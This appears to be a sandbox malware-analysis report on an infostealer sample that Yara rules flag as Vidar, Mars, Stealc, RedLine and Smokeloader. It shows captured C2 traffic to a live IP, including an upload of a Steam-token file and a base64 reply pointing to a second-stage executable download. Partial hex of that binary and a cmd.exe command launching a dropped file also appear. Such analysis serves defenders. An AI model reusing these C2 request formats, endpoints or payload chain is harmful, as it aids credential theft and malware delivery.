Apr 25, 2024 21:48:16.158664942 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:16.164426088 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBK Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:16.496578932 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:16.502682924 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGDAKEHJDHIDHJJDAEC Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:16.847330093 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:16.852242947 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJD Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:17.202811003 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:17.219513893 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEH Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:17.554611921 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:17.559916973 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJK Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:17.897411108 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:17.902352095 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGH Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:18.247507095 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:18.253458977 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGH Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:18.593750000 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:18.608123064 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJ Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:18.945203066 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:18.950208902 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHI Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:19.294708014 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:19.301080942 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFB Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:19.645550013 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:19.651315928 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:19.993994951 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:20.000247002 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:20.339421034 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:20.345803022 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJD Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:20.685750008 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:20.690934896 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHC Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:21.033729076 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:21.038868904 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEB Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:21.382611990 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:21.388448954 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDHCBGDHJKEBGDGIJE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:21.720858097 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:21.726955891 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:22.075661898 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:22.082195997 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCFBFBAEBKJKEBGCAEH Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:22.427367926 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:22.460846901 CEST	564	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFC Host: 185.172.128.76 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 66 30 36 38 30 63 33 63 37 37 37 61 35 31 64 36 32 63 33 36 33 38 33 39 36 35 65 65 37 36 36 35 65 66 36 35 65 32 30 36 32 64 36 63 34 31 34 35 33 64 30 63 38 35 66 34 36 38 62 37 38 39 35 31 66 37 33 65 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"f8df0680c3c777a51d62c36383965ee7665ef65e2062d6c41453d0c85f468b78951f73ec------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="file"------CAAEBKEGHJKEBFHJDBFC--
Apr 25, 2024 21:48:22.797923088 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:23.086088896 CEST	204	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCFBFBAEBKJKEBGCAEH Host: 185.172.128.76 Content-Length: 138747 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 21:48:23.796485901 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 21:48:25.533157110 CEST	469	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJ Host: 185.172.128.76 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 66 30 36 38 30 63 33 63 37 37 37 61 35 31 64 36 32 63 33 36 33 38 33 39 36 35 65 65 37 36 36 35 65 66 36 35 65 32 30 36 32 64 36 63 34 31 34 35 33 64 30 63 38 35 66 34 36 38 62 37 38 39 35 31 66 37 33 65 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 68 65 72 37 68 34 38 72 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="token"f8df0680c3c777a51d62c36383965ee7665ef65e2062d6c41453d0c85f468b78951f73ec------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="message"her7h48r------AFCFHDHIIIECBGCAKFIJ--
Apr 25, 2024 21:48:25.870182991 CEST	223	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:48:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 52 Connection: keep-alive Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 78 4e 7a 49 75 4d 54 49 34 4c 6a 49 77 4d 79 39 30 61 57 74 30 62 32 73 75 5a 58 68 6c 66 44 42 38 4d 48 78 38 Data Ascii: aHR0cDovLzE4NS4xNzIuMTI4LjIwMy90aWt0b2suZXhlfDB8MHx8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	185.172.128.203	80	6760	C:\Users\user\Desktop\bUcIhJ4VHm.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 21:48:26.084661007 CEST	76	OUT	GET /tiktok.exe HTTP/1.1 Host: 185.172.128.203 Cache-Control: no-cache
Apr 25, 2024 21:48:26.295867920 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:48:26 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 24 Apr 2024 21:15:46 GMT ETag: "85400-616de2c892480" Accept-Ranges: bytes Content-Length: 545792 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 63 08 c4 c7 27 69 aa 94 27 69 aa 94 27 69 aa 94 93 f5 5b 94 37 69 aa 94 93 f5 59 94 a0 69 aa 94 93 f5 58 94 38 69 aa 94 1c 37 a9 95 33 69 aa 94 1c 37 af 95 14 69 aa 94 1c 37 ae 95 05 69 aa 94 2e 11 39 94 22 69 aa 94 27 69 ab 94 7d 69 aa 94 8d 37 a3 95 25 69 aa 94 8d 37 55 94 26 69 aa 94 27 69 3d 94 26 69 aa 94 8d 37 a8 95 26 69 aa 94 52 69 63 68 27 69 aa 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 76 29 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 b0 06 00 00 b4 01 00 00 00 00 00 b6 80 05 00 00 10 00 00 00 c0 06 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 08 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 9c 07 00 28 00 00 00 00 f0 07 00 40 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 6c 80 00 00 b0 80 07 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 81 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 00 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 31 af 06 00 00 10 00 00 00 b0 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 aa e2 00 00 00 c0 06 00 00 e4 00 00 00 b4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 40 20 00 00 00 b0 07 00 00 0e 00 00 00 98 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 f8 01 00 00 00 e0 07 00 00 02 00 00 00 a6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 40 28 00 00 00 f0 07 00 00 2a 00 00 00 a8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 6c 80 00 00 00 20 08 00 00 82 00 00 00 d2 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 60 bc 47 00 e8 ab 56 05 00 68 ff be Data Ascii: MZ@!L!This program cannot be run in DOS mode.$c'i'i'i[7iYiX8i73i7i7i.9"i'i}i7%i7U&i'i=&i7&iRich'iPELv)f@@P(@( lp @.text1 `.rdata@@.data@ @.gfids@@.rsrc@(*@@.relocl @B`GVh
Apr 25, 2024 21:48:26.295881033 CEST	1289	IN	Data Raw: 46 00 e8 1c 73 05 00 59 c3 68 09 bf 46 00 e8 10 73 05 00 59 c3 68 13 bf 46 00 e8 04 73 05 00 59 c3 68 1d bf 46 00 e8 f8 72 05 00 59 c3 b9 a0 bd 47 00 e8 71 56 05 00 68 27 bf 46 00 e8 e2 72 05 00 59 c3 55 8b ec 83 ec 0c a1 6c b0 47 00 33 c5 89 45 Data Ascii: FsYhFsYhFsYhFrYGqVh'FrYUlG3EUEVUNEQWFPfyM3^{k]UVWFPFfEPy^]IpvGEUVFFPyEtj
Apr 25, 2024 21:48:26.295892954 CEST	1289	IN	Data Raw: 3e 00 75 64 6a 18 e8 06 69 05 00 8b f8 83 c4 04 89 7d 08 8b 4d 0c c7 45 fc 00 00 00 00 8b 51 04 85 d2 75 07 b9 a0 76 47 00 eb 0a 8b 4a 18 85 c9 75 03 8d 4a 1c 51 8d 4d ac e8 dc fb ff ff 8d 45 e0 c7 47 04 00 00 00 00 50 c7 07 58 c7 46 00 e8 90 58 Data Ascii: >udji}MEQuvGJuJQMEGPXFXMG>MdY_^]UAPEPX]US]3Vu+W3;uGtAEPPyXGEF;u_^[]
Apr 25, 2024 21:48:26.296015024 CEST	1289	IN	Data Raw: 01 8a 08 40 84 c9 75 f9 2b c2 3b f0 72 e3 5f 5e 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 53 8b dc 83 ec 08 83 e4 f8 83 c4 04 55 8b 6b 04 89 6c 24 04 8b ec 6a ff 68 55 ba 46 00 64 a1 00 00 00 00 50 53 81 ec 80 00 00 00 a1 6c b0 47 00 33 Data Ascii: @u+;r_^]SUkl$jhUFdPSlG3EVWPEd(~GGG0G)88z(\|G G4G`%Z/8G,QWEhGMEE~r>?u3QAu+QjEP
Apr 25, 2024 21:48:26.296027899 CEST	1289	IN	Data Raw: 74 13 8b c6 f0 0f c1 41 20 75 0a 8b 4d c4 33 d2 e8 33 f8 ff ff c7 45 c4 00 00 00 00 c6 45 fc 0c 8b 4d d4 85 c9 74 15 8b 01 8b 40 08 ff d0 8b c8 85 c9 74 08 8b 01 6a 01 8b 00 ff d0 8b 45 d8 85 c0 74 12 f0 0f c1 70 20 4e 75 0a 8b 4d d8 33 d2 e8 f3 Data Ascii: tA uM33EEMt@tjEtp NuM3EEMt@tj(p}GGGG31zG`%Z/GQWEhGMEE~r>?u3
Apr 25, 2024 21:48:26.296211004 CEST	1289	IN	Data Raw: 3b f3 ff ff c7 45 88 00 00 00 00 c6 45 fc 1c 8b 4d 98 85 c9 74 15 8b 01 8b 40 08 ff d0 8b c8 85 c9 74 08 8b 01 6a 01 8b 00 ff d0 8b 4d 9c 85 c9 74 13 8b c6 f0 0f c1 41 20 75 0a 8b 4d 9c 33 d2 e8 fa f2 ff ff c7 45 9c 00 00 00 00 c6 45 fc 1d 8b 4d Data Ascii: ;EEMt@tjMtA uM3EEMt@tjMtA uM3EEMt@tjMtA uM3xEEMt@tjE
Apr 25, 2024 21:48:26.296224117 CEST	1289	IN	Data Raw: 0f 00 00 00 c7 41 10 00 00 00 00 50 c6 01 00 e8 62 05 00 00 e8 cd 32 05 00 83 c4 18 83 7c 24 1c 00 76 57 ff 15 cc c9 47 00 8b 44 24 1c 40 50 6a 02 ff 15 c0 c9 47 00 8b f0 85 f6 74 3d 83 7c 24 20 10 8d 54 24 0c 8b 4c 24 1c 0f 43 54 24 0c 41 51 52 Data Ascii: APb2\|$vWGD$@PjGt=\|$ T$L$CT$AQRVGPGVGVjGVGD$ r@L$Pt$D$ D$D$\|$8D$$D$4CD$$GhG6'@'@#(@(@)@)@
Apr 25, 2024 21:48:26.296235085 CEST	1289	IN	Data Raw: 10 89 7e 10 72 0e 8b 06 5f c6 00 00 8b c6 5e 5b 5d c2 08 00 8b c6 5f 5e 5b c6 00 00 5d c2 08 00 8b c6 85 ff 74 0b 57 53 50 e8 5f 71 05 00 83 c4 0c 83 7e 14 10 89 7e 10 72 0f 8b 06 c6 04 38 00 8b c6 5f 5e 5b 5d c2 08 00 8b c6 c6 04 38 00 5f 8b c6 Data Ascii: ~r_^[]_^[]tWSP_q~~r8_^[]8_^[]hvG>US]VMWC;}+;G;uG99FF~rQj_^[]Qj_^[]9~s$vW
Apr 25, 2024 21:48:26.296397924 CEST	1289	IN	Data Raw: 3b 46 10 76 04 85 c0 75 9b 8b 4e 10 3b c1 77 19 89 46 10 83 7e 14 10 72 08 8b 0e c6 04 01 00 eb 14 8b ce c6 04 01 00 eb 0c 2b c1 8b ce 6a 00 50 e8 ff fd ff ff 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c2 0c 00 cc cc cc cc cc cc cc Data Ascii: ;FvuN;wF~r+jPMdY_^[]UAPuuuu;y]3]UjhpFdPSVWlG3PEdeuEv'^;v<+
Apr 25, 2024 21:48:26.296411037 CEST	1289	IN	Data Raw: e8 99 30 05 00 83 c4 04 8d 4d e4 e8 d5 2e 05 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b 4d ec 33 cd e8 93 43 05 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b f1 0f 57 c0 8d 46 04 50 c7 06 ac c1 46 00 66 0f d6 00 Data Ascii: 0M.MdY_^[M3C]UVWFPFfEPQLF^]VNt$F+PQFFF^Vt#F+PQFF^UjhFdPPVWl
Apr 25, 2024 21:48:26.506699085 CEST	1289	IN	Data Raw: c7 00 00 00 00 00 6a 01 8b 01 ff 10 85 f6 75 e9 6a 00 6a 00 c7 47 24 00 00 00 00 e8 9c 6b 05 00 cc cc 56 8b f1 8b 4e 40 85 c9 74 24 8b 46 48 2b c1 c1 f8 03 50 51 e8 b7 03 00 00 c7 46 40 00 00 00 00 c7 46 44 00 00 00 00 c7 46 48 00 00 00 00 8b 4e Data Ascii: jujjG$kVN@t$FH+PQF@FDFHN4t$F<+PQF4F8F<N$t$F,+PQF$F(F,Nt$F+PQ6FFFNt$F+PQFF

Target ID:	0
Start time:	21:47:49
Start date:	25/04/2024
Path:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\bUcIhJ4VHm.exe"
Imagebase:	0x400000
File size:	258'560 bytes
MD5 hash:	F9F0B2B6C628789336AB905F82269982
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000003.1986444186.0000000003130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000003.1986444186.0000000003130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2443243646.0000000002F17000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2443426909.0000000003100000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2443426909.0000000003100000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2443426909.0000000003100000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2443289675.0000000002F2C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:48:27
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\JKJEHJKJEB.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:48:27
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
